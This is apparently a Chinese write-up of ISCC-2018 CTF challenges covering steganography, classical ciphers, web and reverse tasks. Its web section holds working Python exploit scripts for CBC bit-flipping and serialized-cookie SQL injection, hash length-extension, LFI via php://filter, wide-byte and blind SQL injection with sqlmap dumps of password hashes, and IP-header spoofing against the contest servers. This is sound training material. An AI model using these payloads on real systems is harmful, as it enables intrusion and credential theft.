ISCC-2018

又一年,不过今年的质量有些…..

0x01Misc

What is that?

附件地址:What is that

查看图片信息,使用传统的方法解答没见效,使用TweakPNG查看图片信息。

将高度调整即可得到flag。

秘密电报

查看附件,内容为:

1
2
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

老司机一看就是培根密码了,flag为:ILIKEISCC

Where is the FLAG?

附件地址:Where is the FLAG

题目:不只是Logo

查看详细信息,发现是由Adobe Fireworks CS5保存出来的图片,那就用Adobe Fireworks CS5打开。

调整画布大小,开始摆,得出一张二维码。flag{a332b700-3621-11e7-a53b-6807154a58cf}

一只猫的心思

附件地址:一只猫的心思

题目:你能读懂它的心思吗?

使用foremost抽离图片,得到一个doc文件,打开,内容为:

1
名西三陵帝焰数诵诸山众參哈瑟倒陰捨劫奉惜逝定雙月奉倒放足即闍重号貧老诵夷經友利普过孕北至花令藐灯害蒙能羅福羅夢开雙禮琉德护慈積寫阿璃度戏便通故西故敬于瑟行雙知宇信在礙哈数及息闍殺陵游盧槃药諦慈灯究幽灯豆急彌貧豆親诵梭量树琉敬精者楞来西陰根五消夢众羅持造彌六师彌怖精僧璃夫薩竟祖方夢訶橋經文路困如牟憐急尼念忧戏輸教乾楞能敬告树来楞殊倒哈在紛除亿茶涅根輸持麼阿空瑟稳住濟号他方牟月息盡即来通貧竟怖如槃精老盡恤及游薩戏师毒兄宝下行普鄉释下告劫惜进施盡豆告心蒙紛信胜东蒙求帝金量礙故弟帝普劫夜利除積众老陀告沙師尊尼捨惜三依老蒙守精于排族祖在师利寫首念凉梭妙經栗穆愛憐孝粟尊醯造解住時刚槃宗解牟息在量下恐教众智焰便醯除寂想虚中顛老弥诸持山諦月真羅陵普槃下遠涅能开息灯和楞族根羅宝戒药印困求及想月涅能进至贤金難殊毘瑟六毘捨薩槃族施帝遠念众胜夜夢各万息尊薩山哈多皂诵盡药北及雙栗师幽持牟尼隸姪遠住孕寂以舍精花羅界去住勒排困多閦呼皂難于焰以栗婦愛闍多安逝告槃藐矜竟孕彌弟多者精师寡寫故璃舍各亦方特路茶豆積梭求号栗怖夷凉在顛豆胜住虚解鄉姪利琉三槃以舍劫鄉陀室普焰于鄉依朋故能劫通

与佛论禅进行解密,得到一串16进制字符串,接下来:

1
16进制-->文本-->base64解密-->base32解密-->文本-->base64解密-->base32解密-->文本

得到F1a9_is_I5cc_ZOl8_G3TP01NT

暴力XX不可取

附件地址:暴力XX不可取

题目:A同学要去参加今年的ISCC。大赛在即,A同学准备了一批暴力破解工具,你感觉这个靠谱吗?

下载附件直接能解压,flag.txt的内容为vfppjrnerpbzvat,凯撒解密得出flag为:isccwearecoming

重重谍影

题目:这是一道脑洞题,简单的要命。层层迷雾之后就是答案,刹那便是永恒。南无阿弥陀佛。

1
Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==

一直base64解码,得到

1
U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1ziN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

U2FsdGVkX1开头的密文是AES加密,,然后使用openssl进行解密,顺带猜密码,最后在encrypt解密得到

1
缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

与佛论禅进行解密得出flag为:把我复制走

凯撒十三世

题目:凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。

这个比较明显,就是取凯撒的13行,也就是rot13,结果是roqtp697t95j3,再进行键盘密码解密,得到flag为:yougotme,唯一的小坑就是对这个键盘密码的时候。

有趣的ISCC

附件地址有趣的ISCC

题目:在ISCC的平台上,跟小伙伴们一起闯关,是不是很有趣啊!!!猜猜我在图片中隐藏了什么?

查看图片信息,最末尾发现了

1
&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.4.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.9.9.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.4.9.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.5.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.5.;.&.#.9.8.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.7.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.5.;.&.#.5.1.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.1.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.1.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.0.;.&.#.4.8.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.7.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.5.;.&.#.5.1.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.0.;.&.#.4.8.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.5.4.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.5.;.&.#.5.3.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.4.;.&.#.1.0.1.;.&.#.9.2.;.&.#.1.1.7.;.&.#.4.8.;.&.#.4.8.;.&.#.5.5.;.&.#.1.0.0.;

处理还原,得出

1
\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d

还原就成了flag{iscc is fun}

数字密文

题目:这里有个很简单的flag,藏在下面这串数字里,猜猜吧!69742773206561737921

16进制转个文本就行。

挖宝计划

题目附件:挖宝计划

题目:小明手里有一个宝箱(treasureBox.zip),但无法打开。求助于先知,但只得到了一张藏宝图(getFlay.py),你能参透先知的深意,帮小明挖出宝藏吗?

去年没解出来的数据分析题目。

查看zip的内容,发现是有解压密码的,但是不知道是什么,发现zip内也有一个getFlag.py,大小及CRC值一致,所以推断是存在明文攻击的解压漏洞。

但是,还是与去年一样的问题。但是根据去年主办方在线下决赛后发出的文章来看,是有些小提示的

1
"以文找文"(寻"文"启事 众里寻他千百度,蓦然回首,那人却在,灯火阑珊处)数据分析题

降低题目难度后,思路:将6000个文件与sample对比,找到内容最为接近的5个文件,取其文件MD5值,emmmm。

嵌套ZIPs

题目附件:嵌套ZIPs

题目:A老师听说b同学要去参加今年的ISCC,便出题考一考b同学,你能帮b同学渡过难关吗?

看到ZIPs感觉就是一直要爆破的节奏。没什么思路那就爆破了。

解出来,又是明文攻击

ISCC_!S_my_favor1te_CTF

0x02 Web

比较数字大小

限制了长度为3,将maxlength修改为大于3的值再输入超过3位数的数字即可,比如maxlength=33,输入值为12345

或者直接抓包改值。

flag为:768HKyu678567&*&K

你能跨过去吗?

页面显示

1
2
3
4
5
Key Words:XSS
如果你对xss了解的话,那你一定知道key是什么了,加油!
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413

对其中的base64编码进行解码,得出<script>alert("key:/%nsfocusXSStest%/")</script,提交/%nsfocusXSStest%/即可得出flag

一切都是套路

hit:好像有个文件忘记删了

打开index.php.txt

发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "flag.php";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");
if (!isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST["flag"] !== $flag )
die($_403);
echo "flag: ". $flag . "\n";
die($_200);
?>

需要满足3个if才能得到flag,这是个$$导致的变量覆盖问题。题目中使用了两个foreach并且也使用了$$,两个foreach中对$$k的处理是不一样的,满足条件后会将$flag里面的值打印出来。

但由于第5与第13-14行的代码会将$flag的值给覆盖掉了,所以需要先将$flag的值赋给$_200$_403,然后利用die($_200)die($_403)将flag打印出来。

你能绕过吗?

hit:没过滤好啊

这个题目,最开始以为是注入题,毕竟这个题目这个显示。

尝试了id的注入点,最后在尝试修改f参数index.php,发现带有php参数的显示了 error...,最后的尝试

index.php的源码为

1
2
3
4
5
6
7
8
9
10
11
12
<?php
#ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}
?>

原来如此,怪不得带有php的都报错了。

web02

打开链接显示

1
错误!你的IP不是本机ip!

应该就是伪造IP了。尝试各种伪造IP的http头

1
2
3
4
5
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

本地的诱惑

题目:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)

右键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//print_r($_SERVER);
$arr=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if($arr[0]=='127.0.0.1'){
//key
echo "key is ISCC{^&*(UIHKJjkadshf}";
}else{
echo "必须从本地访问!";
}
?>
<?php
//SAE 服务调整,该题目无法继续...可尝试自行搭建环境测试.
echo file_get_contents(__FILE__);

Please give me username and password!

访问index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

绕过即可username[]=&password=9e9

试试看

题目:随意开火

查看图片,观察URL为/show.php?img=1.jpg。已经没有别的页面了,估计就是文件读取

1
2
3
4
5
?img=php://filter/read=convert.base64-encode/resource=1.jpg # 正常访问
?img=php://filter/read=convert.base64-encode/resource=show.php # File not found.
不正常。。。。
?img=php://filter/read=convert.base64-encode/resource=1.jpg=php://filter/read=convert.base64-encode/resource=1.jpg # 正常访问
?img=php://filter/read=convert.base64-encode/resource=1.jpg=php://filter/read=convert.base64-encode/resource=show.php # 正常访问

有戏,右键查看源码,发现已经能读到PHP源码了,接下来就是直接找flag所在,最后在../flag.php找到flag

请ping我的ip 看你能Ping通吗?

题目:我都过滤了,看你怎么绕。

题目地址:http://118.190.152.202:8018

直接访问http://118.190.152.202:8018/flag.txt 就出现flag了。

正确解法是

SQL注入的艺术

扫描扫到/admins,访问直接下载,打开发现是数据库链接信息,内部含有flag。

正确解法:宽字节注入

1
2
http://118.190.152.202:8015/index.php?id=1%df%27
http://118.190.152.202:8015/index.php?id=1%df%27%20and%201=1%20--+

web01

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

想都不想,直接/password[]=flag

Collide

题目:那么长的秘钥,要爆破到什么时候啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

hash长度扩展攻击

  • $key变量我们是不知道的,但是从len值中能获取到长度为46
  • verify中得到md5($key.guest)的值为:78cfc57d983b4a17e55828c001a3e781
  • 成功登陆条件:username=guestxxxxxxxxadmin,并且verify要等于md5($key.uaername)
1
2
3
4
5
6
hashpump -s 78cfc57d983b4a17e55828c001a3e781 -d guest -k 46 -a admin
得出
5f585093a7fe86971766c3d25c43d0eb
guets\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin
处理
guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

这个提交得看脸。

ISCC{MD5_1s_n0t_5afe}

Only admin can see flag

查看源码发现提示index.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>

CBC字节反转攻击攻击题目,先将输入的账号密码序列化,也就是获取$plain

1
2
3
4
5
6
7
8
9
<?php
$username = 'Admin';
$password = 'RcoIl';
$info = array('username'=>$username,'password'=>$password);
$plain = serialize($info);
echo $plain;
?>
运算结果:
a:2:{s:8:"username";s:5:"Admin";s:8:"password";s:5:"RcoIl";}

我们的目的就是将Admin中的A转换成a,接下来就是把明文分成16个字节的块(因为AES-128以128位为一块,正好16字节)

1
2
3
4
a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:5:"RcoIl";}

我们目标字符位于块2,这意味这我们需要改变块1的密文来改变第二块的密文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
#! -*- coding:utf-8 -*-
__author__='RcoIl'
import base64
import requests
import urllib
from urllib import unquote
url = 'http://118.190.152.202:8001/'
data = {
'username': 'Admin',
'password': '12345',
}
def Cookie():
s = requests.Session()
cookies = s.post(url,data=data).cookies
cipher = base64.b64decode(unquote(cookies['cipher']))
cipher = cipher[:9] + chr(ord(cipher[9]) ^ ord('A') ^ ord('a')) + cipher[10:]
Cookie = "PHPSESSID="+urllib.unquote(cookies['PHPSESSID'])+'; '+"iv=" + urllib.unquote(cookies['iv'])+'; '+"cipher=" + urllib.quote(base64.b64encode(cipher))
header = {
"Cookie": Cookie
}
try:
request = requests.post(url , headers = header)
except Exception as e:
print e
else:
print request.text[18:][:-24]
print Cookie
Cookie()
运行结果:
C/6oiLKm49k5g+Zw0sS8VW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9
PHPSESSID=s3ikg88gets6adghmksalc2ld6; iv=w8wkcnN//ERbrLkywW37hA==; cipher=7dpnbYnc5gErczAwWeSYjWwDq8NfL83hd%2B0ZqcZMrZ/TA2i7QVfndD6GNQV/wDhzOW0x3vij5aEuOsEwuCIzGg%3D%3D
查看unserialize的内容
þ¨ˆ²¦ãÙ9ƒæpÒļUme";s:5:"admin";s:8:"password";s:5:"12345";},已成功改成admin

但是第一块的内容显示不出来,接下来就是获取新的iv值及flag的获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
#! -*- coding:utf-8 -*-
__author__='RcoIl'
import base64
import urllib
import requests
url = 'http://118.190.152.202:8001/'
iv = base64.b64decode("w8wkcnN//ERbrLkywW37hA==")
plain = base64.b64decode("C/6oiLKm49k5g+Zw0sS8VW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9")
want = 'a:2:{s:8:"userna'
newiv = ''
for i in range(16):
newiv += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
iv = urllib.quote(base64.b64encode(newiv)) # qQi%2BwLqqJaVYDSoxdtspsA%3D%3D
cookie = "PHPSESSID=s3ikg88gets6adghmksalc2ld6; iv="+ iv +"; cipher=7dpnbYnc5gErczAwWeSYjWwDq8NfL83hd%2B0ZqcZMrZ/TA2i7QVfndD6GNQV/wDhzOW0x3vij5aEuOsEwuCIzGg%3D%3D"
header = {
"Cookie": cookie
}
try:
request = requests.post(url , headers = header)
except Exception as e:
print e
else:
print request.text

替换提交即可登陆真正的admin用户。

1
<p>Hello admin</p><p>Flag is ISCC{123dasd89as10aas}</p><p><a href="loginout.php">Log out</a></p>

php是世界上最好的语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}
show_source(__FILE__);
?>

看到第19行,明显的弱类型绕过。密码填写240610708

1
2
3
4
5
6
<?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);
?>

绕过即可

1
2
no_md5.php?a=flag
ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}

Only Admin

题目:听说只有admin可以看到flag?

最开始以为是利用MySQL的超长截断特性进行注册登陆,发现没成功。

扫描目录,发现有一个web.zip文件。

1
2
3
4
5
6
7
8
9
10
11
web
├─ .vscode
│ └─ launch.json
├─ MessageController.class.php
├─ UserController.class.php
├─ config.php # 配置文件
├─ index.php # 登陆后主页
├─ login.php # 登陆页面
├─ reg.php # 注册页面
├─ send.php
└─ show.php

审计,难受。 其实也就是带cookie访问的问题。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import base64
url="http://118.190.152.202:8020/"
def attack(url, payload):
s=requests.session()
u1 = url + "send.php"
plen = len(payload)
payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'
cookies = {'ckSavePass': base64.b64encode(payload)}
r = s.get(u1, cookies=cookies)
u2="http://118.190.152.202:8020/" +'config.php'
r2=s.get(u2)
print r2.headers['Set-Cookie']
return False
payload="111' || 1=1 -- 111"
attack(url,payload)
运行结果:
csrftoken=zy129p1yvx; expires=Sun, 13-May-2018 15:47:38 GMT; Max-Age=3600; path=/, flag=flag{USer1ali2e1sInt4rt1n9}; expires=Sun, 13-May-2018 15:47:38 GMT; Max-Age=3600; path=/; httponly

为什么这么简单啊

进入,

1
2
3
第一关
第二关需要从 http://edu.xss.tv 进入,并且只有我公司的IP地址才可以进入第二关,公司IP为:110.110.110.110

伪造IP

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: 118.190.152.202:8016
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=b604vp88ds9coh4352d3dncih2
X-Forwarded-For: 110.110.110.110
Referer: http://edu.xss.tv
Connection: close

进入到第二关,寻找密码。右键源码看到password.js,解密其中的base64,得到密码xinyiji.com

flag:B1H3n5u0xI2n9JIscc

Sqli

username存在延迟注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
python sqlmap.py -r post.txt --level 3 --tamper=space2comment --time-sec 6 -D "sqli_database" -T "user" -C "username,pass" --dump
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=%E2%80%98' AND (SELECT * FROM (SELECT(SLEEP(5)))fbFG) AND 'xEit'='xEit&password='
---
[15:04:25] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:04:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
运行结果:
Database: sqli_database
Table: user
[2 entries]
+----------+----------------------------------+
| username | pass |
+----------+----------------------------------+
| test | 098f6bcd4621d373cade4e832627b4f6 |(test)
| admin | 197ed45182778e1c74cc8c72f9fffc07 |(u4g009)
+----------+----------------------------------+

登陆发现提示flag在另一个字段

1
2
3
4
5
6
7
8
9
10
python sqlmap.py -r post.txt --level 3 --tamper=space2comment --time-sec 6 -D "sqli_database" -T "news" -C "kjafuibafuohnuvwnruniguankacbh" --dump
运行结果:
Database: sqli_database
Table: news
[1 entry]
+--------------------------------+
| kjafuibafuohnuvwnruniguankacbh |
+--------------------------------+
| flag{hahaha999999999} |
+--------------------------------+

有种你来绕

题目:我都过滤了,看你怎么绕。记住是mysql

只给了一个登录框,然后没了,那么尝试了一下admin, admin提示密码错误,再尝试了下其他的用户名密码,提示用户名错误,确定用户名就是admin

注入,过滤了空格、#、*、union、like、regexp、and、or、|、–、&、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。

原文操作:https://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/

得出密码为0416af0a8accf2be556a8e131438b814(nishishabi1438)

登陆之后和原题不一样了,直接填写flag就出现了flag值。

flag{sql_iNjEct_Is_Easy}

0x03 Reverse

RSA256

三个加密文件一个公钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import gmpy2
def ModExp(n, k, m):
a = list(bin(k))[2:]
a.reverse()
s = 1
for i in a:
if i == '1':
s = (s * n) % m
n = (n * n) % m
return s
n = int('D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB', 16)
print('n is')
print(n)
p = gmpy2.mpz(302825536744096741518546212761194311477)
q = gmpy2.mpz(325045504186436346209877301320131277983)
e = gmpy2.mpz(65537)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
print("d is:")
print(d)
p = 302825536744096741518546212761194311477
q = 325045504186436346209877301320131277983
def ByteToHex( bins ):
return ''.join( [ "%02X" % x for x in bins ] ).strip()
file1 = open("C:\\Users\\RcoIl\\Desktop\\fujian\\encrypted.message1", 'rb').read()
c1 = int(ByteToHex(file1), 16)
print("c1", c1)
file2 = open("C:\\Users\\RcoIl\\Desktop\\fujian\\encrypted.message2", 'rb').read()
c2 = int(ByteToHex(file2), 16)
file3 = open("C:\\Users\\RcoIl\\Desktop\\fujian\\encrypted.message3", 'rb').read()
c3 = int(ByteToHex(file3), 16)
m = p * q
flag1 = ModExp(c1, d, m)
flag2 = ModExp(c2, d, m)
flag3 = ModExp(c3, d, m)
flag = '0' + hex(flag1)[2:] + '0' + hex(flag2)[2:] + '0' + hex(flag3)[2:]
print(flag)
i = 0
result = ''
for i in range(0, len(flag), 2):
result += chr((int(flag[i:i+2], 16)))
print(result)

My math is bad

程序地址:My math is bad

题目:I think the math problem is too difficult for me.

1
2
# file Reverse
Reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20b7dc66633da72204852bf32a4e0c4ea46340b6, stripped

IDA又是不显示main函数

满足sub_400766()就输出sub_400B16(),那就,直接看sub_400B16() ?看了看,不行哦,捷径走不了,那就看sub_400766()里的东西。

1
2
3
4
5
6
7
8
9
10
11
